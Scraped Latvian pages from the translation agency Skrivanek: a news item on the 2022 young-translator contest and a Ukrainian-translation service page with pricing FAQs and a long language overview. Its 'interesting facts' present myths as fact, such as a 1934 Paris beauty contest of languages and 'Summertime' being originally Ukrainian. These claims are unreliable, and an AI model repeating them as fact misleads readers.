balvas. - Published: 2022-03-21 - Modified: 2025-01-27 - URL: https://skrivanek.lv/konkurss-labakais-jaunais-tulkotajs-2022/ - Translation Priorities: Optional NOTEIKTS LABĀKAIS JAUNAIS TULKOTĀJS 2022 2022. gada 22. aprīlī noslēdzās ikgadējais konkurss Latvijas studentiem Labākais jaunais tulkotājs, par kura uzvarētāju kļuva Latvijas Universitātes studente Marianna Zvaigzne. Par godalgotās otrās vietas ieguvēju jau otro gadu pēc kārtas kļuva Ventspils Augstskolas audzēknis Andrejs Štrāls. Tāpat trešās vietas apbalvojums šogad dodas uz Ventspili – to ir godam pelnījusi Ventspils Augstskolas studente Nikola Baranova. Arī šogad konkurss noritēja attālināti un konkursa finālā studentiem bija iespēja izjust īsta tulkošanas profesionāļa ikdienu, izmantojot kvalitatīvo datorizētās tulkošanas rīku Memsource. Veiksmīgi tiekot galā ar konkursa pirmās kārtas uzdevumu, 12 prasmīgākie jaunie speciālisti bija izvirzījušies konkursa finālā, kurā tulkoja tekstus latviešu valodā no angļu vai vācu valodas. Pasākums norisinājās jau četrpadsmito gadu, un tas notika ciešā sadarbībā ar desmit Latvijas augstskolām – Baltijas Starptautisko akadēmiju, Biznesa augstskolu Turība, Daugavpils Universitāti, Latvijas Kultūras akadēmiju, Latvijas Universitāti, Liepājas Universitāti, Rēzeknes Tehnoloģiju akadēmiju, Rīgas Stradiņa universitāti, Rīgas Tehnisko universitāti un Ventspils Augstskolu. Konkursa Labākais jaunais tulkotājs uzvarētāja balvā saņēma planšetdatoru Samsung Galaxy Tab A8 64GB 4G. Otrās vietas ieguvējs saņema Skrivanek Baltic direktora Vasilija Ragačeviča naudas balvu 200 EUR apmērā. Tāpat trīs labākie jaunie tulkotāji ieguva balvas no grāmatnīcas Jānis Roze. Atskats uz Labākais jaunais tulkotājs 2021. Konkursa nolikums --- > Dokumentu tulkojumi un mutiskie tulkojumi ukraiņu valodā. Saņemiet cenas piedāvājumu tikai 15 minūtēs, sazinieties ar mums! - Published: 2022-02-14 - Modified: 2024-10-23 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-ukrainu-valoda/ - Translation Priorities: Optional Ukraiņu valodas tulkojumi un citi ukraiņu valodas risinājumi 1 Sazināties TULKOJUMI UKRAIŅU VALODĀ / TULKOT UKRAIŅU VALODĀ CIK MAKSĀ TULKOŠANA UKRAIŅU VALODĀ? Katram tulkojumam no/uz ukraiņu valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UKRAIŅU VALODĀ: dokumentu tulkošana ukraiņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ukraiņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ukraiņu valodā; individuālie ukraiņu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus ukraiņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI UKRAIŅU VALODĀ / TULKOT UKRAIŅU VALODĀ CIK MAKSĀ TULKOŠANA UKRAIŅU VALODĀ? Katram tulkojumam no/uz ukraiņu valodu cenu nosaka individuāli, tiek ņemtas vērā vairākas komponentes ─ tulkojamā materiāla apjoms, izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi (notariāls apliecinājums u. c. pakalpojumi. ) VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, lai noskaidrotu precīzas tulkojuma izmaksas, gaidīsim jūsu tulkojamo materiālu mūsu e-pastā. Mūsu tulkošanas projektu vadītāji sazināsies ar jums un informēs par tulkojuma izmaksām pirms projekta uzsākšanas. Tulkojuma cena tiek noteikta saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Mēs nodrošinām 100% konfidencialitāti un uzņemamies pilnu atbildību par teksta apstrādes procesu kvalitāti un katra projekta savlaicīgu īstenošanu neatkarīgi no tā apjoma vai sarežģītības pakāpes. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM UKRAIŅU VALODĀ: dokumentu tulkošana ukraiņu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; ukraiņu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi ukraiņu valodā; individuālie ukraiņu valodas kursi. Meklējiet valodu risinājumus ukraiņu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR UKRAIŅU VALODU Ukraiņu valoda (dzimtais nosaukums: украї́нська мо́ва, latinizēts: ukrainska mova, vēsturiski saukta arī par rutēniešu valodu, ir indoeiropiešu valodu saimes slāvu atzara valoda. Tā ir Ukrainas valsts valoda un viena no oficiālajām Piedņestras Moldāvu Republikas valodām. Lielākā daļa ukraiņu valodas pratēju dzīvo Ukrainā. Ar aptuveni 45 miljoniem ukraiņu valodas pratēju tā ir otra vai trešā lielākā slāvu valoda pēc krievu un poļu valodas. Ukraiņu valodas rakstībā izmanto kirilicu. Ukraiņu valodai līdzīgākās valodas ir rusīnu valoda, ko daži valodnieki uzskata par ukraiņu valodas dialektu, baltkrievu un krievu valodā. Standarta ukraiņu valodu regulē Ukrainas Nacionālā Zinātņu akadēmija, jo īpaši tās Ukraiņu valodas institūts, Ukraiņu valodas informācijas fonds un Potebnijas Valodniecības institūts. Ukraiņu valodas izcelsme ir meklējama senajā austrumslāvu valodā, kurā no 10. līdz 13. gadsimtam runāja Kijivas Krievzemes iedzīvotāji. No 1804. līdz 1917. gada Krievijas revolūcijai, kad Austrumukraina atradās Krievijas impērijas sastāvā, skolās bija aizliegts runāt ukraiņu valodā, jo tā tika uzskatīta par krievu valodas mazkrievu dialektu (малороссийское наречие русского языка). Savukārt Rietumukrainā, kas sākotnēji atradās Polijas-Lietuvas Kopvalsts sastāvā un pēcāk Austroungārijas sastāvā, par rusīņu valodu (русинська мова) sauktā ukraiņu valoda nekad netika aizliegta un pastāvēja labvēlīgāka augsne tās attīstībai. Ukraiņu valodas dialektus tradicionāli grupē trīs grupās: dienvidrietumu (atšķiras ar ievērojamu dialekta sadrumstalotību, kas saistīta ar citu valodu – poļu, slovāku, ungāru utt. ietekmi), ziemeļu (ziemeļu paveida izlokšņu iezīmes veidojušās kaimiņos esošo baltkrievu valodas izlokšņu ietekmē) un par mūsdienu literārās valodas pamatu kļuvušais dienvidaustrumu dialekts. Ukrainas austrumu un dienvidaustrumu apgabalos, lielākoties pilsētās (Zaporožjē, Donbasā, Krivijrihā, Odesā), kā arī Krimā kopš 17. –18. gadsimtam pastāv tā saucamais суржик 'suržiks' (vārda pamatnozīme: rudzu un kviešu, miežu un auzu maisījums) – vienkāršruna, kas radusies, mehāniski savienojot ukraiņu dialektu fonētiku un gramatiku ar pārsvarā krievu valodas leksisko materiālu. Ukraiņu valodas vārdu krājumu lielākoties veido slāvu valodas leksika un kopīgā austrumslāvu leksika. Senā (slāviskā, austrumslāviskā, ukraiņu) leksika veido aptuveni 90 % ukraiņu valodas vārdu fonda. Nozīmīgākās aizgūtās leksikas grupas ir grieķismi, latīnismi, polonismi, rusismi un citvalodu aizguvumi ar krievu valodas starpniecību, kā arī krievu valodas kalki, aizguvumi no turku valodas, mūsdienu aizguvumi no Rietumeiropas valodām: vācu, angļu, franču, itāļu un citām. Septiņas desmitgades ilgajā padomju laikā ukraiņu valoda ieņēma formālu galvenās vietējās valodas pozīciju Ukrainas PSR. Tomēr praksē bieži vien bija citādāk ─ ukraiņiem vienmēr bija jāsacenšas ar krievu valodu, un padomju vadības attieksme pret ukraiņu valodu bija dažāda, sākot no iedrošināšanas un iecietības līdz faktiskai noliegšanai. Kopš 1991. gada ukraiņu valoda ir oficiālā valsts valoda Ukrainā, un valsts pārvalde īstenoja valdības politiku, lai paplašinātu ukraiņu valodas lietošanu. Ukrainas izglītības sistēma pirmās neatkarības desmitgades laikā tika pārveidota no daļējas ukraiņu valodas lietošanas skolās un pilnīgu valodas lietošanu. Pakāpeniski tika palielināta ukraiņu valodas loma plašsaziņas līdzekļos un tirdzniecībā. Bija situācijas, kad pēkšņā mācību valodas maiņa vidējās un augstākās izglītības iestādēs izraisīja konfliktus no krievvalodīgo iedzīvotāju puses. Laika gaitā lielākā daļa iedzīvotāju, tostarp etniskie krievi, jauktas izcelsmes cilvēki un krievvalodīgie ukraiņi, sāka sevi identificēt par Ukrainas pilsoņiem. Ukraiņu valodas lietojums pēc ilga lejupslīdes perioda pieaug. Lai gan ir gandrīz piecdesmit miljoni etnisko ukraiņu visā pasaulē, tostarp 37,5 miljoni Ukrainā (77,8% no visiem iedzīvotājiem), ukraiņu valoda ir izplatīta galvenokārt Ukrainas rietumos un centrālajā daļā. Kijivā runā gan ukraiņu, gan krievu valodā, kas ir ievērojama pāreja no nesenās pagātnes, kad pilsētā galvenokārt runāja krieviski. Tiek uzskatīts, ka izmaiņas galvenokārt izraisīja migrantu pieplūdums no Ukrainas rietumu reģioniem, kā arī daži Kijivas iedzīvotāji, kas sabiedriskās vietās ir izvēlējušies plašāk lietot valodu, kurā runā mājās. Publiskās izkārtnes un paziņojumi Kijiva tiek izlikti ukraiņu valodā. Ukrainas dienvidos un austrumos krievu valoda ir izplatītākā valoda lielākajā daļā lielo un dažās mazajās pilsētās. 2019. gada 25. aprīlis Ukrainas Augstākā rada pieņēma likumu par obligātu ukraiņu valodas izmantošanu valsts un pašpārvaldes iestādēs. Ukraina cenšas spert platu soli pretī tam, lai mazinātos krievu valodas ietekme valstī. Pieņemtā likuma galvenais mērķis ir publiskajā saziņā radikāli nostiprināt ukraiņu valodas lietojumu. Uzņēmumiem informācija par savām precēm un pakalpojumiem turpmāk ir jāsniedz ukraiņu valodā. Politiķu diskusijas par likumu bija nokaitētas un viedokļi – radikāli pretēji. Likums noteica: ukraiņu valoda brīvi jāpārvalda visiem politiķiem, ieskaitot prezidentu, skolotājiem, medicīnas darbiniekiem, advokātiem un notāriem. Ukraiņu valoda turpmāk jālieto teju it visur: televīzijā un radio, presē, sporta norisēs, reklāmās, politisko partiju darbībā. Likums neattiecas uz privātās saziņas sfēru un reliģiskajām ceremonijām. Ukraiņu valodas zināšana ir obligāts nosacījums ārzemniekiem pilsonības iegūšanā. Rietumukrainā, kur krievu valodu praktiski nedzird nemaz, atbildēšana ukrainiski uz krieviski uzdotu jautājumu ir mūžsena prakse, kura nav būtiski mainījusies kopš 1939. gada, kad šī teritorija pēc PSRS iebrukuma Polijā tika pievienota PSRS. Balstoties uz 1934. gadā Parīzē notikušā valodu konkursa rezultātiem, ukraiņu valoda pēc fonētikas, vārdu krājuma, frazeoloģijas un teikumu uzbūves ir trešā skaistākā pēc franču un persiešu valodas. Turklāt tā ir oficiāli otrā melodiskākā valoda pasaulē pēc itāļu valodas. Tāpēc nav pārsteigums, ka daudzi atzīst, ka ukraiņu valoda viņiem atgādina lakstīgalas dziesmu. Lai pārliecinātos, ka tā ir patiesība, vajadzētu noklausīties pasaulslaveno Džordža Gēršvina Summertime oriģinālvalodā, kas ir... ukraiņu valodā! Summertime iedvesmojusies no senās ukraiņu šūpuļdziesmas Oi Hodyt' Son Kolo Vikon. Ukraiņu valoda ir unikāla ar tās alfabētu, kurā ir divi burti, kurus nevar atrast nevienā citā valodā: ґ un ї. Valstī ir septiņi UNESCO Pasaules mantojuma apskates objekti, tostarp Kijivas Svētās Sofijas katedrāle, senā tauriešu Hersonēsas pilsēta un pirmatnējie dižskabāržu meži Karpatu reģionā. Ukraiņu iedzīvotāji ir bilingvāli, saprotot gan krievu, gan ukraiņu valodu. Ukraiņi lepojas ar savu skaisto valodu. Ja runājat ar viņiem krieviski, pastāv liela iespēja, ka viņi atbildēs ukraiņu valodā. Tiem, kas mīl McDonald's, interesants būtu fakts par tā restorānu Kijivas galvenajā dzelzceļa stacijā — tas ir trešais visvairāk apmeklētais McDonald's restorāns pasaulē. Metro stacija Arsenalna Kijivā, ir pazīstama kā pasaulē dziļākā metro stacija (105,5 metri zem zemes). UKRAIŅU ALFABĒTS Ukraiņu alfabēts tiek lietots ukraiņu valodas pierakstīšanai. Ukraiņu alfabēts ir kirilicas modifikācija. Alfabētā ir 33 burti, kas apzīmē 38 fonēmas (skaņas). 21 burts apzīmē līdzskaņus (б, в, г, ґ, д, ж, з, к, л, м, н, п, р, с, т, ф, х, ц, ч, ш, щ), 10 ─ patskaņus (а, е, є, и, і, ї, о, у, ю, я), 1 ─ daļēju patskani (й). Mīkstinājuma zīme ь neapzīmē fonēmu, bet gan norāda uz iepriekšējā līdzskaņa mīkstinājumu (palatizāciju). Kirilica ─ kiriliskais raksts jeb kiriliskais alfabēts ir viens no diviem senslāvu raksta variantiem. Tas izveidots, balstoties uz svētā Kirila un svētā Metodija radīto alfabētu un uz Bizantijas grieķu alfabētu. Uz senslāvu kirilicas pamata izveidotus mūsdienu alfabētus izmanto sešas slāvu valodas — baltkrievu, bulgāru, krievu, maķedoniešu, serbu un ukraiņu, kā arī daudzas ne slāvu valodas, pamatā bijušās PSRS teritorijā. Ukraiņu valodas alfabēts tā esošajā veidolā pastāv kopš 19. gadsimta beigām. Atšķirībā no krievu valodas alfabēta tajā nav burtu Ёё, ъ, ы, Ээ, taču tiek izmantoti burti Ґґ, Єє, Іі un Її (laikā no 1932. līdz 1990. gadam burta Ґ nebija, savukārt pēdējais simbols alfabētā bija mīkstinājuma zīme). Tāpat ir daudz vārdu, kuros tiek lietots ukraiņu valodas apostrofs, ko izmanto analogi krievu valodā esošajai zīmei Ъ vai Ь, nemīkstinot tā priekšā esošo līdzskani. Dažādos vēstures posmos ukraiņu valodas pierakstīšanai tika izmantots arī latīņu alfabēts. Šobrīd ukraiņu latīņu alfabētam nav vienota standarta un oficiāla statusa (oficiālā līmenī nostiprināti tikai noteikumi kirilicas transliterācijai latīņu burtiem). Tā izmantošanas iespējas ir ļoti ierobežotas (visbiežāk tās ir publikācijas, kas veltītas pašam ukraiņu latīņu alfabētam). Diskusijas par ukraiņu latīņu alfabēta unifikāciju un izmantošanu ukraiņu valodas pareizrakstībā vispirms norisinājās Galīcijā un Bukovinā 19. gadsimta 30. un 50. gados un pēc tam atjaunojās 20. gadsimta 20. gados Ukrainas Padomju Sociālistiskās Republikas laikā. KUR UN CIK DAUDZ RUNĀ UKRAIŅU VALODĀ? Ukraiņu valodā runā aptuveni 45 miljoni cilvēku. Ukraiņu valoda ir Ukrainas vienīgā valsts valoda, kā arī viena no trim neatzītās Piedņestras Moldāvu Republikas oficiālajām valodām. Moldovā, Rumānijā, Serbijā, Slovākijā, Horvātijā, Bosnijā un Hercegovinā tai ir reģionālās vai atsevišķās administratīvajās vienībās oficiālās valodas statuss. Ukraiņu valodai ir arī atsevišķas oficiālās funkcijas reģionālā līmenī Amerikas Savienotajās Valstīs (ASV) un Polijā. Ukraiņu diaspora Kanādā ir trešā lielākā ukraiņu kopiena pasaulē (pēc Ukrainas un Krievijas) un piektā lielākā no visām etniskajām kopienām Kanādā. Kanādā ir vairāk nekā miljons cilvēku, kas tā vai citādi identificējas ar ukraiņu etnosu. Pirmajos divos viļņos imigranti runāja mūsdienu Rietumukrainas dialektos, taču laika gaitā lielā attāluma un angļu valodas ietekmes dēļ Kanādas ukraiņu valoda ir attīstījusies atšķirīgi no Rietumukrainas dialektiem. Pašlaik ukraiņu valodā runājošo skaits Kanādā pastāvīgi samazinās, taču Kanādā pastāv ukraiņu valodas skolas un ukraiņu valodu var apgūt arī dažās universitātēs. 1976. gadā dibināts Ukrainas studiju Kanādas institūts (Canadian Institute of Ukrainian Studies, Канадський iнститут українських студiй), kas publicē zinātnisko literatūru, kā arī īsteno nozīmīgus projektus ukraiņu valodas studiju jomā, piemēram, Journal of Ukrainian Studies vai Ukrainas enciklopēdija (Енциклопедія українознавства). Otra lielākā ukraiņu diaspora ir Polijā, aptuveni 1,2 milj. , tai seko ASV ar 1 milj. , tad Brazīlija, Argentīna, Moldova, Kazahstāna, Baltkrievija, Vācija, Čehija, Rumānija, Portugāle, arī Latvija. CIK SAREŽĢĪTA IR UKRAIŅU VALODA? Mācoties jebkuru valodu, vārdu krājuma apguve parasti ir visgrūtākā mācību daļa. Tas ir tāpēc, ka vārdu krājuma saglabāšanai ir nepieciešama atkārtošana un bieža lietošana, un ukraiņu valodas vārdu krājums nav izņēmums. Viens no ukraiņu valodas apguves vērtīgākajiem iemesliem ir tas, ka tas nedaudz ļaus pietuvoties ukraiņu kultūrai un runāt ar ukraiņu cilvēku sirdīm, nevis viņu prātiem. Ukraiņiem viņu valoda ir ļoti svarīga un nozīmīga jau izsenis. Cilvēkam, kurš ir motivēts ukraiņu valodas apguvei, kuram nav iepriekšējas pieredzes valodu apguvē un, kurš konsekventi iegulda studijās apmēram stundu dienā, iespējams, būs nepieciešami apmēram 3½–4 gadi, lai sasniegtu ukraiņu valodas vidēji augstu zināšanu līmeni. Arī ukraiņu izruna ir diezgan sarežģīta lielākajai daļai Eiropas valodu runātājiem. Lielākajai daļai līdzskaņu ir palatizēta un nepalatizēta versija, kuru jāspēj atšķirt, un valodā ir diezgan daudz skaņu, kas citās valodās neeksistē, kā arī dažas burtu kombinācijas (un jo īpaši līdzskaņu kombinācijas), kuras var būt ļoti grūti izrunāt. Visbeidzot, ukraiņu valodas pieraksts kirilicā. Vislielākais izaicinājums saistībā ar rakstību, iespējams, ir iemācīties rakstīt ukraiņu valodā. ASV Ārlietu dienesta institūts ukraiņu valodu klasificē kā grūtas kategorijas valodu, kuras apguve studentiem vidēji aizņem 1100 stundu (optimālās situācijās). Tas ir gandrīz divas reizes ilgāk nekā holandiešu valodas apguvei, bet tikai uz pusi mazāk nekā ķīniešu valodas apguvei nepieciešamais laiks. Studijas Ukrainas universitātēs tiek vērtētas kā augsta līmeņa studijas. Valsts ir ļoti pretimnākoša ārvalstu studentiem. Universitātes piedāvā desmitiem studiju programmu un stipendijas pretendentiem no ārvalstīm. Ukraiņu izglītība ir populāra studentu vidū no Āfrikas un Āzijas valstīm, piemēram, Lībijas, Bangladešas, Indijas, Ķīnas, Nigērijas, Ēģiptes, Jordānijas u. c. Programmu daudzveidība un salīdzinoši zemās izglītības izmaksas padara Ukrainu pievilcīgu studentiem, kuri vēlas iegūt medicīnas vai inženierzinātņu izglītību ārzemēs. Izglītības iestādēs Ukrainā ir četras dažādas mācību valodas: ukraiņu, krievu, angļu un franču (medicīnas programmām). Ja tiek apgūta ukraiņu valoda, ir iespējams saprast poļu, čehu, baltkrievu vai citas slāvu valodas, jo tās ir diezgan līdzīgas. UKRAIŅU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek galvenokārt nodarbojas gan ar tipveida dokumentu rakstiskajiem un mutiskajiem tulkojumiem, atrodot vispiemērotāko risinājumu klienta pieprasījumam. Veicam regulārus un arī zvērinātus tulkojumus. Nodrošinām arī tekstu ukraiņu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams, tiek veikta redaktūra un terminoloģijas pārbaude. Mēs parūpēsimies arī par teksta efektivitāti, atbilstošu stilu un pielāgošanos kultūras kontekstam gan pašas valodas, gan valsts ziņā. Biznesa klientiem visbiežāk veicam šādus tulkojumus no/uz ukraiņu valodu – SEO satura, e-komercijas satura un mājaslapu tulkojumus, reklāmas saukļu, mārketinga tulkojumus, produktu etiķešu tulkojumus atbilstoši ES standartiem. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. Tulkojumus ir iespējams apstiprināt notariāli. UKRAIŅU VALODA BIZNESĀ 2019. gada 16. jūlijā tika pieņemts likums Par ukraiņu valodas kā valsts valodas funkcionēšanas nodrošināšanu. Balstoties uz šo likumu, ārvalstu uzņēmējiem, kuri vēlas paplašināt savu biznesu Ukrainas teritorijā, būtu jānodrošina visu juridisko dokumentu, informācijas par produktu, tīmekļa vietņu un citu ar uzņēmējdarbību saistīto dokumentu pieejamība ukraiņu valodā. Ukraiņu uzņēmēji lielākoties brīvi pārvalda arī krievu, poļu un angļu valodu, tādēļ iespējams veikt biznesa pārrunas arī šajās valodās. Bet jebkurā gadījumā ikviens ukrainis ļoti augstu novērtēs to, ja sadarbības partneris cienīs viņa dzimto valodu, tradīcijas un zinās kaut dažas pieklājības frāzes ukraiņu valodā. LATVIJAS UN UKRAIŅU SADARBĪBA Ukraiņu skaits Latvijā strauji palielinājās pēc Otrā pasaules kara, kad uz Latvijas PSR strādāt nosūtīja tūkstošiem ukraiņu, un tā uzskatāma par nesenas migrācijas ceļā izveidojušos etnisko minoritāti. Pēc Latvijas neatkarības atjaunošanas ukraiņu skaits strauji samazinājās gandrīz uz pusi. 1897. gadā Latvijā dzīvoja tūkstotis ukraiņu kareivju un Rīgas Politehniskā Institūta studentu. Pārējie uz dzīvi Latvijā apmetās Padomju laikos. Patlaban Latvijā dzīvo aptuveni 62tūkstoši ukraiņu. Vecuma ziņā tā ir viena no visjaunākajām mazākumtautībām. Pēc izglītības līmeņa ukraiņi ir otrajā vietā (aiz ebrejiem) valstī; viņi dibina stipras ģimenes, salīdzinoši viegli adaptējas dažādos sociālajos apstākļos – starp ukraiņiem ir mazāk bezdarbnieku, nekā starp citu tautību pārstāvjiem. Ukraiņiem raksturīga arī lojalitāte pret valsts varu, komunikabilitāte, atbildības izjūta un disciplinētība. Šie secinājumi balstīti uz pētījumu, ko 2003. gadā veica Ukraiņu kultūras un izglītības biedrība Днiпро konferences Ukraiņi Latvijā ietvaros par Latvijas Sabiedrības Integrācijas fonda līdzekļiem. Aptaujās piedalījās 452 ukraiņu minoritātes pārstāvji no Rīgas, Ventspils, Liepājas, Rēzeknes, Tukuma un Rīgas rajona. Lielākā ukraiņu kopiena dzīvo Rīgā. Galvaspilsētā ir Ukraiņu vidusskola, kuras absolventi vienlīdz brīvi pārvalda ukraiņu un latviešu valodu. Latvijas ukraiņi ir otrā labāk izglītotā kopiena aiz Latvijas ebrejiem, tomēr viņu naturalizācijas līmenis ir viszemākais. Lielākā daļa Latvijas ukraiņu dzīvo jauktās ukraiņu un krievu ģimenēs. Interesi par Latvijas ukraiņu kultūru veicina sabiedriskās organizācijas Latvijas ukraiņu savienība un kultūras biedrība Днiпро (kas nosaukta Ukrainas lielākās upes vārdā). Arī ukraiņu bērnu kora nosaukums ir Днiпро. Ukraiņu kultūras centri ir Ventspilī, Rēzeknē, Liepājā, Daugavpilī un Vangažos. Salīdzinot ar citām Latvijā dzīvojošām minoritātēm, ukraiņu naturalizācijas līmenis ir pats zemākais. Lai gan aptaujas liecina, ka puse ukraiņu principā atbalsta integrāciju, vairums domā, ka tā vēl nemaz nav sākusies. Integrācijas struktūras ir formalizētas, nošķirtas no ukraiņu nacionālās minoritātes vajadzībām un interesēm. Latvijas daudznacionālajā sabiedrībā ukraiņu minoritāte ieņem īpašu vietu. Tā veidojusies pēc Otrā pasaules kara, Baltijas aktīvas sovjetizācijas laikā, tādējādi uzskatāma par migrācijas ceļā radušos nacionālo minoritāti, atšķirībā no Latvijas teritoriju vēsturiski apdzīvojošām mazākumtautībām, tādām kā krievi, baltkrievi, poļi, vācieši un ebreji. Ukraiņu nacionālā minoritāte ļoti lēni iekļaujas integrācijas procesā. Galvenais šo situāciju raksturojošais rādītājs – naturalizācijas līmenis – ir viszemākais, salīdzinot ar citām minoritātēm. Par vissvarīgāko nosacījumu, lai integrētos, vairākums ukraiņu uzskata valsts valodas zināšanas. Kaut arī, salīdzinot ar 1993. gadu, ukraiņi ir būtiski uzlabojuši savas latviešu valodas zināšanas, tomēr brīvi to pārvalda tikai 11%. Kā efektīvu metodi varētu izmantot bezmaksas latviešu valodas apmācību, ko organizētu ukraiņu kultūras un izglītības biedrības un skolas, pēc iespējas pietuvinot to dzimtās valodas videi un ukraiņu kultūrai. Ņemot vērā politisko situāciju Ukrainā pēdējos gados, Latvija ir bijusi liels atbalsts Ukrainai un tās iedzīvotājiem. Kopš 2014. gada Latvija ar Aizsardzības ministrijas un Nacionālo bruņoto spēku virskapelāna Elmāra Pļaviņa atbalstu Doņeckas un Luhanskas apgabalu iedzīvotājiem nogādājusi vairāk nekā 400 tonnu humānās palīdzības. 2021. gada 18. janvārī tika nogādāts jau 21 humānās palīdzības sūtījums. 2021. gada 20. janvārī Latvijas armija Ukrainas bruņotajiem spēkiem nodeva 7transportlīdzekļus militārās medicīnas spēju stiprināšanai. Kopš 2014. gada valsts atbalsta programmas ietvaros ārstēšanai Latvijā kopumā uzņemtas 75 Ukrainas konfliktā cietušās personas (Ukrainas karavīri, Krievijas atbrīvotie politieslodzītie un to ģimenes locekļi). Tām ir sniegta medicīniskā palīdzība, fiziskā un psiholoģiskā rehabilitācija ~181 000 EUR apmērā. Lieliska sadarbība ir izveidojusies arī izglītības jomā. Labas pārvaldības kapacitātes stiprināšanā un topošo profesionāļu apmācību jomā 2020. gadā 65 Ukrainas studenti attālināti mācījās Latvijas Universitātes Eiropas Savienības studijas – iekšpolitika un ārpolitika studiju programmā. Kopš 2015. gada programmu absolvējuši vairāk nekā 150 studenti no Ukrainas. 2020. gadā turpinājās apmācības Rīgas Juridiskās augstskolas Tiešsaistes Intensīvā programma Eiropas tiesībās un ekonomikā. 2020. gadā absolvēja 7 studenti no Ukrainas. Kopā Rīgas Juridiskās augstskolas programmās no 2014. gada absolvējuši 54 Ukrainas jaunie profesionāļi. UKRAIŅU LITERATŪRAS UN VALODAS DIENA Ukraiņu literatūras un valodas diena ir valsts valodas diena, kuru katru gadu Ukrainā un citur pasaulē ukraiņu diasporās atzīmē 9. novembrī. Saskaņā ar Jūlija kalendāru, tā ir diena, kurā tiek godināta hronista Nestora piemiņa, kas ir kirilicas rakstības izveidotāju Kirila un Metodija sekotājs. Šie svētki aizsākās 1997. gada 9. novembrī, kad toreizējais Ukrainas prezidents Leonīds Kučma izdeva dekrētu “Par ukraiņu literatūras un valodas dienu”, atbalstot sabiedrisko organizāciju iniciatīvu un ņemot vērā ukraiņu valodas nozīmīgo lomu Ukrainas sabiedrības saliedēšanā. Katru gadu valodas dienā ir savas tradīcijas – cilvēki noliek ziedus pie hronista Nestora pieminekļa, atceras un godā ukraiņu valodniekus, rakstniekus un dzejniekus, valodas popularizētājus, piemin un popularizē 